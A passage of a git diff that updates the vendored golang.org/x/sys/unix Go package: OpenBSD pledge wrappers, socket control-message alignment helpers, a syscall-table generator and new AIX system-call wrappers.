-+ goarch = os.Getenv("GOARCH")
-+ }
-+ // Check if GOOS and GOARCH environment variables are defined
-+ if goarch == "" || goos == "" {
-+ fmt.Fprintf(os.Stderr, "GOARCH or GOOS not defined in environment\n")
-+ os.Exit(1)
-+ }
-+
-+ file := strings.TrimSpace(os.Args[1])
-+ var syscalls io.Reader
-+ if strings.HasPrefix(file, "https://") || strings.HasPrefix(file, "http://") {
-+ // Download syscalls.master file
-+ syscalls = fetchFile(file)
-+ } else {
-+ syscalls = readFile(file)
-+ }
-+
-+ var text, line string
-+ s := bufio.NewScanner(syscalls)
-+ for s.Scan() {
-+ t := re{str: line}
-+ if t.Match(`^(.*)\\$`) {
-+ // Handle continuation
-+ line = t.sub[1]
-+ line += strings.TrimLeft(s.Text(), " \t")
-+ } else {
-+ // New line
-+ line = s.Text()
-+ }
-+ t = re{str: line}
-+ if t.Match(`\\$`) {
-+ continue
-+ }
-+ t = re{str: line}
-+
-+ switch goos {
-+ case "dragonfly":
-+ if t.Match(`^([0-9]+)\s+STD\s+({ \S+\s+(\w+).*)$`) {
-+ num, proto := t.sub[1], t.sub[2]
-+ name := fmt.Sprintf("SYS_%s", t.sub[3])
-+ text += format(name, num, proto)
-+ }
-+ case "freebsd":
-+ if t.Match(`^([0-9]+)\s+\S+\s+(?:(?:NO)?STD|COMPAT10)\s+({ \S+\s+(\w+).*)$`) {
-+ num, proto := t.sub[1], t.sub[2]
-+ name := fmt.Sprintf("SYS_%s", t.sub[3])
-+ text += format(name, num, proto)
-+ }
-+ case "openbsd":
-+ if t.Match(`^([0-9]+)\s+STD\s+(NOLOCK\s+)?({ \S+\s+\*?(\w+).*)$`) {
-+ num, proto, name := t.sub[1], t.sub[3], t.sub[4]
-+ text += format(name, num, proto)
-+ }
-+ case "netbsd":
-+ if t.Match(`^([0-9]+)\s+((STD)|(NOERR))\s+(RUMP\s+)?({\s+\S+\s*\*?\s*\|(\S+)\|(\S*)\|(\w+).*\s+})(\s+(\S+))?$`) {
-+ num, proto, compat := t.sub[1], t.sub[6], t.sub[8]
-+ name := t.sub[7] + "_" + t.sub[9]
-+ if t.sub[11] != "" {
-+ name = t.sub[7] + "_" + t.sub[11]
-+ }
-+ name = strings.ToUpper(name)
-+ if compat == "" || compat == "13" || compat == "30" || compat == "50" {
-+ text += fmt.Sprintf(" %s = %s; // %s\n", name, num, proto)
-+ }
-+ }
-+ case "darwin":
-+ if t.Match(`^#define\s+SYS_(\w+)\s+([0-9]+)`) {
-+ name, num := t.sub[1], t.sub[2]
-+ name = strings.ToUpper(name)
-+ text += fmt.Sprintf(" SYS_%s = %s;\n", name, num)
-+ }
-+ default:
-+ fmt.Fprintf(os.Stderr, "unrecognized GOOS=%s\n", goos)
-+ os.Exit(1)
-+
-+ }
-+ }
-+ err := s.Err()
-+ checkErr(err)
-+
-+ fmt.Printf(template, cmdLine(), buildTags(), text)
-+}
-+
-+const template = `// %s
-+// Code generated by the command above; see README.md. DO NOT EDIT.
-+
-+// +build %s
-+
-+package unix
-+
-+const(
-+%s)`
-diff --git a/vendor/golang.org/x/sys/unix/openbsd_pledge.go b/vendor/golang.org/x/sys/unix/openbsd_pledge.go
-deleted file mode 100644
-index db4f72ea..00000000
---- a/vendor/golang.org/x/sys/unix/openbsd_pledge.go
-+++ /dev/null
-@@ -1,38 +0,0 @@
--// Copyright 2016 The Go Authors. All rights reserved.
--// Use of this source code is governed by a BSD-style
--// license that can be found in the LICENSE file.
--
--// +build openbsd
--// +build 386 amd64 arm
--
--package unix
--
--import (
-- "syscall"
-- "unsafe"
--)
--
--const (
-- SYS_PLEDGE = 108
--)
--
--// Pledge implements the pledge syscall. For more information see pledge(2).
--func Pledge(promises string, paths []string) error {
-- promisesPtr, err := syscall.BytePtrFromString(promises)
-- if err != nil {
-- return err
-- }
-- promisesUnsafe, pathsUnsafe := unsafe.Pointer(promisesPtr), unsafe.Pointer(nil)
-- if paths != nil {
-- var pathsPtr []*byte
-- if pathsPtr, err = syscall.SlicePtrFromStrings(paths); err != nil {
-- return err
-- }
-- pathsUnsafe = unsafe.Pointer(&pathsPtr[0])
-- }
-- _, _, e := syscall.Syscall(SYS_PLEDGE, uintptr(promisesUnsafe), uintptr(pathsUnsafe), 0)
-- if e != 0 {
-- return e
-- }
-- return nil
--}
-diff --git a/vendor/golang.org/x/sys/unix/pagesize_unix.go b/vendor/golang.org/x/sys/unix/pagesize_unix.go
-new file mode 100644
-index 00000000..bc2f3629
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/pagesize_unix.go
-@@ -0,0 +1,15 @@
-+// Copyright 2017 The Go Authors. All rights reserved.
-+// Use of this source code is governed by a BSD-style
-+// license that can be found in the LICENSE file.
-+
-+// +build aix darwin dragonfly freebsd linux netbsd openbsd solaris
-+
-+// For Unix, get the pagesize from the runtime.
-+
-+package unix
-+
-+import "syscall"
-+
-+func Getpagesize() int {
-+ return syscall.Getpagesize()
-+}
-diff --git a/vendor/golang.org/x/sys/unix/pledge_openbsd.go b/vendor/golang.org/x/sys/unix/pledge_openbsd.go
-new file mode 100644
-index 00000000..eb48294b
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/pledge_openbsd.go
-@@ -0,0 +1,163 @@
-+// Copyright 2016 The Go Authors. All rights reserved.
-+// Use of this source code is governed by a BSD-style
-+// license that can be found in the LICENSE file.
-+
-+package unix
-+
-+import (
-+ "errors"
-+ "fmt"
-+ "strconv"
-+ "syscall"
-+ "unsafe"
-+)
-+
-+// Pledge implements the pledge syscall.
-+//
-+// The pledge syscall does not accept execpromises on OpenBSD releases
-+// before 6.3.
-+//
-+// execpromises must be empty when Pledge is called on OpenBSD
-+// releases predating 6.3, otherwise an error will be returned.
-+//
-+// For more information see pledge(2).
-+func Pledge(promises, execpromises string) error {
-+ maj, min, err := majmin()
-+ if err != nil {
-+ return err
-+ }
-+
-+ err = pledgeAvailable(maj, min, execpromises)
-+ if err != nil {
-+ return err
-+ }
-+
-+ pptr, err := syscall.BytePtrFromString(promises)
-+ if err != nil {
-+ return err
-+ }
-+
-+ // This variable will hold either a nil unsafe.Pointer or
-+ // an unsafe.Pointer to a string (execpromises).
-+ var expr unsafe.Pointer
-+
-+ // If we're running on OpenBSD > 6.2, pass execpromises to the syscall.
-+ if maj > 6 || (maj == 6 && min > 2) {
-+ exptr, err := syscall.BytePtrFromString(execpromises)
-+ if err != nil {
-+ return err
-+ }
-+ expr = unsafe.Pointer(exptr)
-+ }
-+
-+ _, _, e := syscall.Syscall(SYS_PLEDGE, uintptr(unsafe.Pointer(pptr)), uintptr(expr), 0)
-+ if e != 0 {
-+ return e
-+ }
-+
-+ return nil
-+}
-+
-+// PledgePromises implements the pledge syscall.
-+//
-+// This changes the promises and leaves the execpromises untouched.
-+//
-+// For more information see pledge(2).
-+func PledgePromises(promises string) error {
-+ maj, min, err := majmin()
-+ if err != nil {
-+ return err
-+ }
-+
-+ err = pledgeAvailable(maj, min, "")
-+ if err != nil {
-+ return err
-+ }
-+
-+ // This variable holds the execpromises and is always nil.
-+ var expr unsafe.Pointer
-+
-+ pptr, err := syscall.BytePtrFromString(promises)
-+ if err != nil {
-+ return err
-+ }
-+
-+ _, _, e := syscall.Syscall(SYS_PLEDGE, uintptr(unsafe.Pointer(pptr)), uintptr(expr), 0)
-+ if e != 0 {
-+ return e
-+ }
-+
-+ return nil
-+}
-+
-+// PledgeExecpromises implements the pledge syscall.
-+//
-+// This changes the execpromises and leaves the promises untouched.
-+//
-+// For more information see pledge(2).
-+func PledgeExecpromises(execpromises string) error {
-+ maj, min, err := majmin()
-+ if err != nil {
-+ return err
-+ }
-+
-+ err = pledgeAvailable(maj, min, execpromises)
-+ if err != nil {
-+ return err
-+ }
-+
-+ // This variable holds the promises and is always nil.
-+ var pptr unsafe.Pointer
-+
-+ exptr, err := syscall.BytePtrFromString(execpromises)
-+ if err != nil {
-+ return err
-+ }
-+
-+ _, _, e := syscall.Syscall(SYS_PLEDGE, uintptr(pptr), uintptr(unsafe.Pointer(exptr)), 0)
-+ if e != 0 {
-+ return e
-+ }
-+
-+ return nil
-+}
-+
-+// majmin returns major and minor version number for an OpenBSD system.
-+func majmin() (major int, minor int, err error) {
-+ var v Utsname
-+ err = Uname(&v)
-+ if err != nil {
-+ return
-+ }
-+
-+ major, err = strconv.Atoi(string(v.Release[0]))
-+ if err != nil {
-+ err = errors.New("cannot parse major version number returned by uname")
-+ return
-+ }
-+
-+ minor, err = strconv.Atoi(string(v.Release[2]))
-+ if err != nil {
-+ err = errors.New("cannot parse minor version number returned by uname")
-+ return
-+ }
-+
-+ return
-+}
-+
-+// pledgeAvailable checks for availability of the pledge(2) syscall
-+// based on the running OpenBSD version.
-+func pledgeAvailable(maj, min int, execpromises string) error {
-+ // If OpenBSD <= 5.9, pledge is not available.
-+ if (maj == 5 && min != 9) || maj < 5 {
-+ return fmt.Errorf("pledge syscall is not available on OpenBSD %d.%d", maj, min)
-+ }
-+
-+ // If OpenBSD <= 6.2 and execpromises is not empty,
-+ // return an error - execpromises is not available before 6.3
-+ if (maj < 6 || (maj == 6 && min <= 2)) && execpromises != "" {
-+ return fmt.Errorf("cannot use execpromises on OpenBSD %d.%d", maj, min)
-+ }
-+
-+ return nil
-+}
-diff --git a/vendor/golang.org/x/sys/unix/race.go b/vendor/golang.org/x/sys/unix/race.go
-index 3c7627eb..61712b51 100644
---- a/vendor/golang.org/x/sys/unix/race.go
-+++ b/vendor/golang.org/x/sys/unix/race.go
-@@ -1,4 +1,4 @@
--// Copyright 2012 The Go Authors. All rights reserved.
-+// Copyright 2012 The Go Authors. All rights reserved.
- // Use of this source code is governed by a BSD-style
- // license that can be found in the LICENSE file.
-
-diff --git a/vendor/golang.org/x/sys/unix/race0.go b/vendor/golang.org/x/sys/unix/race0.go
-index f8678e0d..ad026678 100644
---- a/vendor/golang.org/x/sys/unix/race0.go
-+++ b/vendor/golang.org/x/sys/unix/race0.go
-@@ -1,8 +1,8 @@
--// Copyright 2012 The Go Authors. All rights reserved.
-+// Copyright 2012 The Go Authors. All rights reserved.
- // Use of this source code is governed by a BSD-style
- // license that can be found in the LICENSE file.
-
--// +build darwin,!race linux,!race freebsd,!race netbsd openbsd solaris dragonfly
-+// +build aix darwin,!race linux,!race freebsd,!race netbsd openbsd solaris dragonfly
-
- package unix
-
-diff --git a/vendor/golang.org/x/sys/unix/readdirent_getdents.go b/vendor/golang.org/x/sys/unix/readdirent_getdents.go
-new file mode 100644
-index 00000000..3a90aa6d
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/readdirent_getdents.go
-@@ -0,0 +1,12 @@
-+// Copyright 2019 The Go Authors. All rights reserved.
-+// Use of this source code is governed by a BSD-style
-+// license that can be found in the LICENSE file.
-+
-+// +build aix dragonfly freebsd linux netbsd openbsd
-+
-+package unix
-+
-+// ReadDirent reads directory entries from fd and writes them into buf.
-+func ReadDirent(fd int, buf []byte) (n int, err error) {
-+ return Getdents(fd, buf)
-+}
-diff --git a/vendor/golang.org/x/sys/unix/readdirent_getdirentries.go b/vendor/golang.org/x/sys/unix/readdirent_getdirentries.go
-new file mode 100644
-index 00000000..5fdae40b
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/readdirent_getdirentries.go
-@@ -0,0 +1,19 @@
-+// Copyright 2019 The Go Authors. All rights reserved.
-+// Use of this source code is governed by a BSD-style
-+// license that can be found in the LICENSE file.
-+
-+// +build darwin
-+
-+package unix
-+
-+import "unsafe"
-+
-+// ReadDirent reads directory entries from fd and writes them into buf.
-+func ReadDirent(fd int, buf []byte) (n int, err error) {
-+ // Final argument is (basep *uintptr) and the syscall doesn't take nil.
-+ // 64 bits should be enough. (32 bits isn't even on 386). Since the
-+ // actual system call is getdirentries64, 64 is a good guess.
-+ // TODO(rsc): Can we use a single global basep for all calls?
-+ var base = (*uintptr)(unsafe.Pointer(new(uint64)))
-+ return Getdirentries(fd, buf, base)
-+}
-diff --git a/vendor/golang.org/x/sys/unix/sockcmsg_dragonfly.go b/vendor/golang.org/x/sys/unix/sockcmsg_dragonfly.go
-new file mode 100644
-index 00000000..5144deec
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/sockcmsg_dragonfly.go
-@@ -0,0 +1,16 @@
-+// Copyright 2019 The Go Authors. All rights reserved.
-+// Use of this source code is governed by a BSD-style
-+// license that can be found in the LICENSE file.
-+
-+package unix
-+
-+// Round the length of a raw sockaddr up to align it properly.
-+func cmsgAlignOf(salen int) int {
-+ salign := SizeofPtr
-+ if SizeofPtr == 8 && !supportsABI(_dragonflyABIChangeVersion) {
-+ // 64-bit Dragonfly before the September 2019 ABI changes still requires
-+ // 32-bit aligned access to network subsystem.
-+ salign = 4
-+ }
-+ return (salen + salign - 1) & ^(salign - 1)
-+}
-diff --git a/vendor/golang.org/x/sys/unix/sockcmsg_linux.go b/vendor/golang.org/x/sys/unix/sockcmsg_linux.go
-index d9ff4731..8bf45705 100644
---- a/vendor/golang.org/x/sys/unix/sockcmsg_linux.go
-+++ b/vendor/golang.org/x/sys/unix/sockcmsg_linux.go
-@@ -1,4 +1,4 @@
--// Copyright 2011 The Go Authors. All rights reserved.
-+// Copyright 2011 The Go Authors. All rights reserved.
- // Use of this source code is governed by a BSD-style
- // license that can be found in the LICENSE file.
-
-@@ -17,7 +17,7 @@ func UnixCredentials(ucred *Ucred) []byte {
- h.Level = SOL_SOCKET
- h.Type = SCM_CREDENTIALS
- h.SetLen(CmsgLen(SizeofUcred))
-- *((*Ucred)(cmsgData(h))) = *ucred
-+ *(*Ucred)(h.data(0)) = *ucred
- return b
- }
-
-diff --git a/vendor/golang.org/x/sys/unix/sockcmsg_unix.go b/vendor/golang.org/x/sys/unix/sockcmsg_unix.go
-index bb756ece..003916ed 100644
---- a/vendor/golang.org/x/sys/unix/sockcmsg_unix.go
-+++ b/vendor/golang.org/x/sys/unix/sockcmsg_unix.go
-@@ -2,25 +2,15 @@
- // Use of this source code is governed by a BSD-style
- // license that can be found in the LICENSE file.
-
--// +build darwin dragonfly freebsd linux netbsd openbsd solaris
-+// +build aix darwin dragonfly freebsd linux netbsd openbsd solaris
-
- // Socket control messages
-
- package unix
-
--import "unsafe"
--
--// Round the length of a raw sockaddr up to align it properly.
--func cmsgAlignOf(salen int) int {
-- salign := sizeofPtr
-- // NOTE: It seems like 64-bit Darwin, DragonFly BSD and
-- // Solaris kernels still require 32-bit aligned access to
-- // network subsystem.
-- if darwin64Bit || dragonfly64Bit || solaris64Bit {
-- salign = 4
-- }
-- return (salen + salign - 1) & ^(salign - 1)
--}
-+import (
-+ "unsafe"
-+)
-
- // CmsgLen returns the value to store in the Len field of the Cmsghdr
- // structure, taking into account any necessary alignment.
-@@ -34,8 +24,8 @@ func CmsgSpace(datalen int) int {
- return cmsgAlignOf(SizeofCmsghdr) + cmsgAlignOf(datalen)
- }
-
--func cmsgData(h *Cmsghdr) unsafe.Pointer {
-- return unsafe.Pointer(uintptr(unsafe.Pointer(h)) + uintptr(cmsgAlignOf(SizeofCmsghdr)))
-+func (h *Cmsghdr) data(offset uintptr) unsafe.Pointer {
-+ return unsafe.Pointer(uintptr(unsafe.Pointer(h)) + uintptr(cmsgAlignOf(SizeofCmsghdr)) + offset)
- }
-
- // SocketControlMessage represents a socket control message.
-@@ -78,10 +68,8 @@ func UnixRights(fds ...int) []byte {
- h.Level = SOL_SOCKET
- h.Type = SCM_RIGHTS
- h.SetLen(CmsgLen(datalen))
-- data := cmsgData(h)
-- for _, fd := range fds {
-- *(*int32)(data) = int32(fd)
-- data = unsafe.Pointer(uintptr(data) + 4)
-+ for i, fd := range fds {
-+ *(*int32)(h.data(4 * uintptr(i))) = int32(fd)
- }
- return b
- }
-diff --git a/vendor/golang.org/x/sys/unix/sockcmsg_unix_other.go b/vendor/golang.org/x/sys/unix/sockcmsg_unix_other.go
-new file mode 100644
-index 00000000..7d08dae5
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/sockcmsg_unix_other.go
-@@ -0,0 +1,38 @@
-+// Copyright 2019 The Go Authors. All rights reserved.
-+// Use of this source code is governed by a BSD-style
-+// license that can be found in the LICENSE file.
-+
-+// +build aix darwin freebsd linux netbsd openbsd solaris
-+
-+package unix
-+
-+import (
-+ "runtime"
-+)
-+
-+// Round the length of a raw sockaddr up to align it properly.
-+func cmsgAlignOf(salen int) int {
-+ salign := SizeofPtr
-+
-+ // dragonfly needs to check ABI version at runtime, see cmsgAlignOf in
-+ // sockcmsg_dragonfly.go
-+ switch runtime.GOOS {
-+ case "aix":
-+ // There is no alignment on AIX.
-+ salign = 1
-+ case "darwin", "illumos", "solaris":
-+ // NOTE: It seems like 64-bit Darwin, Illumos and Solaris
-+ // kernels still require 32-bit aligned access to network
-+ // subsystem.
-+ if SizeofPtr == 8 {
-+ salign = 4
-+ }
-+ case "netbsd", "openbsd":
-+ // NetBSD and OpenBSD armv7 require 64-bit alignment.
-+ if runtime.GOARCH == "arm" {
-+ salign = 8
-+ }
-+ }
-+
-+ return (salen + salign - 1) & ^(salign - 1)
-+}
-diff --git a/vendor/golang.org/x/sys/unix/str.go b/vendor/golang.org/x/sys/unix/str.go
-index 35ed6643..17fb6986 100644
---- a/vendor/golang.org/x/sys/unix/str.go
-+++ b/vendor/golang.org/x/sys/unix/str.go
-@@ -2,7 +2,7 @@
- // Use of this source code is governed by a BSD-style
- // license that can be found in the LICENSE file.
-
--// +build darwin dragonfly freebsd linux netbsd openbsd solaris
-+// +build aix darwin dragonfly freebsd linux netbsd openbsd solaris
-
- package unix
-
-diff --git a/vendor/golang.org/x/sys/unix/syscall.go b/vendor/golang.org/x/sys/unix/syscall.go
-index 85e35020..fd4ee8eb 100644
---- a/vendor/golang.org/x/sys/unix/syscall.go
-+++ b/vendor/golang.org/x/sys/unix/syscall.go
-@@ -2,33 +2,36 @@
- // Use of this source code is governed by a BSD-style
- // license that can be found in the LICENSE file.
-
--// +build darwin dragonfly freebsd linux netbsd openbsd solaris
-+// +build aix darwin dragonfly freebsd linux netbsd openbsd solaris
-
- // Package unix contains an interface to the low-level operating system
--// primitives. OS details vary depending on the underlying system, and
-+// primitives. OS details vary depending on the underlying system, and
- // by default, godoc will display OS-specific documentation for the current
--// system. If you want godoc to display OS documentation for another
--// system, set $GOOS and $GOARCH to the desired system. For example, if
-+// system. If you want godoc to display OS documentation for another
-+// system, set $GOOS and $GOARCH to the desired system. For example, if
- // you want to view documentation for freebsd/arm on linux/amd64, set $GOOS
- // to freebsd and $GOARCH to arm.
-+//
- // The primary use of this package is inside other packages that provide a more
- // portable interface to the system, such as "os", "time" and "net". Use
- // those packages rather than this one if you can.
-+//
- // For details of the functions and data types in this package consult
- // the manuals for the appropriate operating system.
-+//
- // These calls return err == nil to indicate success; otherwise
- // err represents an operating system error describing the failure and
- // holds a value of type syscall.Errno.
- package unix // import "golang.org/x/sys/unix"
-
-+import "strings"
-+
- // ByteSliceFromString returns a NUL-terminated slice of bytes
- // containing the text of s. If s contains a NUL byte at any
- // location, it returns (nil, EINVAL).
- func ByteSliceFromString(s string) ([]byte, error) {
-- for i := 0; i < len(s); i++ {
-- if s[i] == 0 {
-- return nil, EINVAL
-- }
-+ if strings.IndexByte(s, 0) != -1 {
-+ return nil, EINVAL
- }
- a := make([]byte, len(s)+1)
- copy(a, s)
-@@ -47,23 +50,4 @@ func BytePtrFromString(s string) (*byte, error) {
- }
-
- // Single-word zero for use when we need a valid pointer to 0 bytes.
--// See mkunix.pl.
- var _zero uintptr
--
--func (ts *Timespec) Unix() (sec int64, nsec int64) {
-- return int64(ts.Sec), int64(ts.Nsec)
--}
--
--func (tv *Timeval) Unix() (sec int64, nsec int64) {
-- return int64(tv.Sec), int64(tv.Usec) * 1000
--}
--
--func (ts *Timespec) Nano() int64 {
-- return int64(ts.Sec)*1e9 + int64(ts.Nsec)
--}
--
--func (tv *Timeval) Nano() int64 {
-- return int64(tv.Sec)*1e9 + int64(tv.Usec)*1000
--}
--
--func TimevalToNsec(tv Timeval) int64 { return int64(tv.Sec)*1e9 + int64(tv.Usec)*1e3 }
-diff --git a/vendor/golang.org/x/sys/unix/syscall_aix.go b/vendor/golang.org/x/sys/unix/syscall_aix.go
-new file mode 100644
-index 00000000..9ad8a0d4
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/syscall_aix.go
-@@ -0,0 +1,536 @@
-+// Copyright 2018 The Go Authors. All rights reserved.
-+// Use of this source code is governed by a BSD-style
-+// license that can be found in the LICENSE file.
-+
-+// +build aix
-+
-+// Aix system calls.
-+// This file is compiled as ordinary Go code,
-+// but it is also input to mksyscall,
-+// which parses the //sys lines and generates system call stubs.
-+// Note that sometimes we use a lowercase //sys name and
-+// wrap it in our own nicer implementation.
-+
-+package unix
-+
-+import "unsafe"
-+
-+/*
-+ * Wrapped
-+ */
-+
-+//sys utimes(path string, times *[2]Timeval) (err error)
-+func Utimes(path string, tv []Timeval) error {
-+ if len(tv) != 2 {
-+ return EINVAL
-+ }
-+ return utimes(path, (*[2]Timeval)(unsafe.Pointer(&tv[0])))
-+}
-+
-+//sys utimensat(dirfd int, path string, times *[2]Timespec, flag int) (err error)
-+func UtimesNano(path string, ts []Timespec) error {
-+ if len(ts) != 2 {
-+ return EINVAL
-+ }
-+ return utimensat(AT_FDCWD, path, (*[2]Timespec)(unsafe.Pointer(&ts[0])), 0)
-+}
-+
-+func UtimesNanoAt(dirfd int, path string, ts []Timespec, flags int) error {
-+ if ts == nil {
-+ return utimensat(dirfd, path, nil, flags)
-+ }
-+ if len(ts) != 2 {
-+ return EINVAL
-+ }
-+ return utimensat(dirfd, path, (*[2]Timespec)(unsafe.Pointer(&ts[0])), flags)
-+}
-+
-+func (sa *SockaddrInet4) sockaddr() (unsafe.Pointer, _Socklen, error) {
-+ if sa.Port < 0 || sa.Port > 0xFFFF {
-+ return nil, 0, EINVAL
-+ }
-+ sa.raw.Family = AF_INET
-+ p := (*[2]byte)(unsafe.Pointer(&sa.raw.Port))
-+ p[0] = byte(sa.Port >> 8)
-+ p[1] = byte(sa.Port)
-+ for i := 0; i < len(sa.Addr); i++ {
-+ sa.raw.Addr[i] = sa.Addr[i]
-+ }
-+ return unsafe.Pointer(&sa.raw), SizeofSockaddrInet4, nil
-+}
-+
-+func (sa *SockaddrInet6) sockaddr() (unsafe.Pointer, _Socklen, error) {
-+ if sa.Port < 0 || sa.Port > 0xFFFF {
-+ return nil, 0, EINVAL
-+ }
-+ sa.raw.Family = AF_INET6
-+ p := (*[2]byte)(unsafe.Pointer(&sa.raw.Port))
-+ p[0] = byte(sa.Port >> 8)
-+ p[1] = byte(sa.Port)
-+ sa.raw.Scope_id = sa.ZoneId
-+ for i := 0; i < len(sa.Addr); i++ {
-+ sa.raw.Addr[i] = sa.Addr[i]
-+ }
-+ return unsafe.Pointer(&sa.raw), SizeofSockaddrInet6, nil
-+}
-+
-+func (sa *SockaddrUnix) sockaddr() (unsafe.Pointer, _Socklen, error) {
-+ name := sa.Name
-+ n := len(name)
-+ if n > len(sa.raw.Path) {
-+ return nil, 0, EINVAL
-+ }
-+ if n == len(sa.raw.Path) && name[0] != '@' {
-+ return nil, 0, EINVAL
-+ }
-+ sa.raw.Family = AF_UNIX
-+ for i := 0; i < n; i++ {
-+ sa.raw.Path[i] = uint8(name[i])
-+ }
-+ // length is family (uint16), name, NUL.
-+ sl := _Socklen(2)
-+ if n > 0 {
-+ sl += _Socklen(n) + 1
-+ }
-+ if sa.raw.Path[0] == '@' {
-+ sa.raw.Path[0] = 0
-+ // Don't count trailing NUL for abstract address.
-+ sl--
-+ }
-+
-+ return unsafe.Pointer(&sa.raw), sl, nil
-+}
-+
-+func Getsockname(fd int) (sa Sockaddr, err error) {
-+ var rsa RawSockaddrAny
-+ var len _Socklen = SizeofSockaddrAny
-+ if err = getsockname(fd, &rsa, &len); err != nil {
-+ return
-+ }
-+ return anyToSockaddr(fd, &rsa)
-+}
-+
-+//sys getcwd(buf []byte) (err error)
-+
-+const ImplementsGetwd = true
-+
-+func Getwd() (ret string, err error) {
-+ for len := uint64(4096); ; len *= 2 {
-+ b := make([]byte, len)
-+ err := getcwd(b)
-+ if err == nil {
-+ i := 0
-+ for b[i] != 0 {
-+ i++
-+ }
-+ return string(b[0:i]), nil
-+ }
-+ if err != ERANGE {
-+ return "", err
-+ }
-+ }
-+}
-+
-+func Getcwd(buf []byte) (n int, err error) {
-+ err = getcwd(buf)
-+ if err == nil {
-+ i := 0
-+ for buf[i] != 0 {
-+ i++
-+ }
-+ n = i + 1
-+ }
-+ return
-+}
-+
-+func Getgroups() (gids []int, err error) {
-+ n, err := getgroups(0, nil)
-+ if err != nil {
-+ return nil, err
-+ }
-+ if n == 0 {
-+ return nil, nil
-+ }
-+
-+ // Sanity check group count. Max is 16 on BSD.
-+ if n < 0 || n > 1000 {
-+ return nil, EINVAL
-+ }
-+
-+ a := make([]_Gid_t, n)
-+ n, err = getgroups(n, &a[0])
-+ if err != nil {
-+ return nil, err
-+ }
-+ gids = make([]int, n)
-+ for i, v := range a[0:n] {
-+ gids[i] = int(v)
-+ }
-+ return
-+}
-+
-+func Setgroups(gids []int) (err error) {
-+ if len(gids) == 0 {
-+ return setgroups(0, nil)
-+ }
-+
-+ a := make([]_Gid_t, len(gids))
-+ for i, v := range gids {
-+ a[i] = _Gid_t(v)
-+ }
-+ return setgroups(len(a), &a[0])
-+}
-+
-+/*
-+ * Socket
-+ */
-+
-+//sys accept(s int, rsa *RawSockaddrAny, addrlen *_Socklen) (fd int, err error)
-+
-+func Accept(fd int) (nfd int, sa Sockaddr, err error) {
-+ var rsa RawSockaddrAny
-+ var len _Socklen = SizeofSockaddrAny
-+ nfd, err = accept(fd, &rsa, &len)
-+ if nfd == -1 {
-+ return
-+ }
-+ sa, err = anyToSockaddr(fd, &rsa)
-+ if err != nil {
-+ Close(nfd)
-+ nfd = 0
-+ }
-+ return
-+}
-+
-+func Recvmsg(fd int, p, oob []byte, flags int) (n, oobn int, recvflags int, from Sockaddr, err error) {
-+ // Recvmsg not implemented on AIX
-+ sa := new(SockaddrUnix)
-+ return -1, -1, -1, sa, ENOSYS
-+}
-+
-+func Sendmsg(fd int, p, oob []byte, to Sockaddr, flags int) (err error) {
-+ _, err = SendmsgN(fd, p, oob, to, flags)
-+ return
-+}
-+
-+func SendmsgN(fd int, p, oob []byte, to Sockaddr, flags int) (n int, err error) {
-+ // SendmsgN not implemented on AIX
-+ return -1, ENOSYS
-+}
-+
-+func anyToSockaddr(fd int, rsa *RawSockaddrAny) (Sockaddr, error) {
-+ switch rsa.Addr.Family {
-+
-+ case AF_UNIX:
-+ pp := (*RawSockaddrUnix)(unsafe.Pointer(rsa))
-+ sa := new(SockaddrUnix)
-+
-+ // Some versions of AIX have a bug in getsockname (see IV78655).
-+ // We can't rely on sa.Len being set correctly.
-+ n := SizeofSockaddrUnix - 3 // subtract leading Family, Len, terminating NUL.
-+ for i := 0; i < n; i++ {
-+ if pp.Path[i] == 0 {
-+ n = i
-+ break
-+ }
-+ }
-+
-+ bytes := (*[10000]byte)(unsafe.Pointer(&pp.Path[0]))[0:n]
-+ sa.Name = string(bytes)
-+ return sa, nil
-+
-+ case AF_INET:
-+ pp := (*RawSockaddrInet4)(unsafe.Pointer(rsa))
-+ sa := new(SockaddrInet4)
-+ p := (*[2]byte)(unsafe.Pointer(&pp.Port))
-+ sa.Port = int(p[0])<<8 + int(p[1])
-+ for i := 0; i < len(sa.Addr); i++ {
-+ sa.Addr[i] = pp.Addr[i]
-+ }
-+ return sa, nil
-+
-+ case AF_INET6:
-+ pp := (*RawSockaddrInet6)(unsafe.Pointer(rsa))
-+ sa := new(SockaddrInet6)
-+ p := (*[2]byte)(unsafe.Pointer(&pp.Port))
-+ sa.Port = int(p[0])<<8 + int(p[1])
-+ sa.ZoneId = pp.Scope_id
-+ for i := 0; i < len(sa.Addr); i++ {
-+ sa.Addr[i] = pp.Addr[i]
-+ }
-+ return sa, nil
-+ }
-+ return nil, EAFNOSUPPORT
-+}
-+
-+func Gettimeofday(tv *Timeval) (err error) {
-+ err = gettimeofday(tv, nil)
-+ return
-+}
-+
-+func Sendfile(outfd int, infd int, offset *int64, count int) (written int, err error) {
-+ if raceenabled {
-+ raceReleaseMerge(unsafe.Pointer(&ioSync))
-+ }
-+ return sendfile(outfd, infd, offset, count)
-+}
-+
-+// TODO
-+func sendfile(outfd int, infd int, offset *int64, count int) (written int, err error) {
-+ return -1, ENOSYS
-+}
-+
-+func direntIno(buf []byte) (uint64, bool) {
-+ return readInt(buf, unsafe.Offsetof(Dirent{}.Ino), unsafe.Sizeof(Dirent{}.Ino))
-+}
-+
-+func direntReclen(buf []byte) (uint64, bool) {
-+ return readInt(buf, unsafe.Offsetof(Dirent{}.Reclen), unsafe.Sizeof(Dirent{}.Reclen))
-+}
-+
-+func direntNamlen(buf []byte) (uint64, bool) {
-+ reclen, ok := direntReclen(buf)
-+ if !ok {
-+ return 0, false
-+ }
-+ return reclen - uint64(unsafe.Offsetof(Dirent{}.Name)), true
-+}
-+
-+//sys getdirent(fd int, buf []byte) (n int, err error)
-+func Getdents(fd int, buf []byte) (n int, err error) {
-+ return getdirent(fd, buf)
-+}
-+
-+//sys wait4(pid Pid_t, status *_C_int, options int, rusage *Rusage) (wpid Pid_t, err error)
-+func Wait4(pid int, wstatus *WaitStatus, options int, rusage *Rusage) (wpid int, err error) {
-+ var status _C_int
-+ var r Pid_t
-+ err = ERESTART
-+ // AIX wait4 may return with ERESTART errno, while the processus is still
-+ // active.
-+ for err == ERESTART {
-+ r, err = wait4(Pid_t(pid), &status, options, rusage)
-+ }
-+ wpid = int(r)
-+ if wstatus != nil {
-+ *wstatus = WaitStatus(status)
-+ }
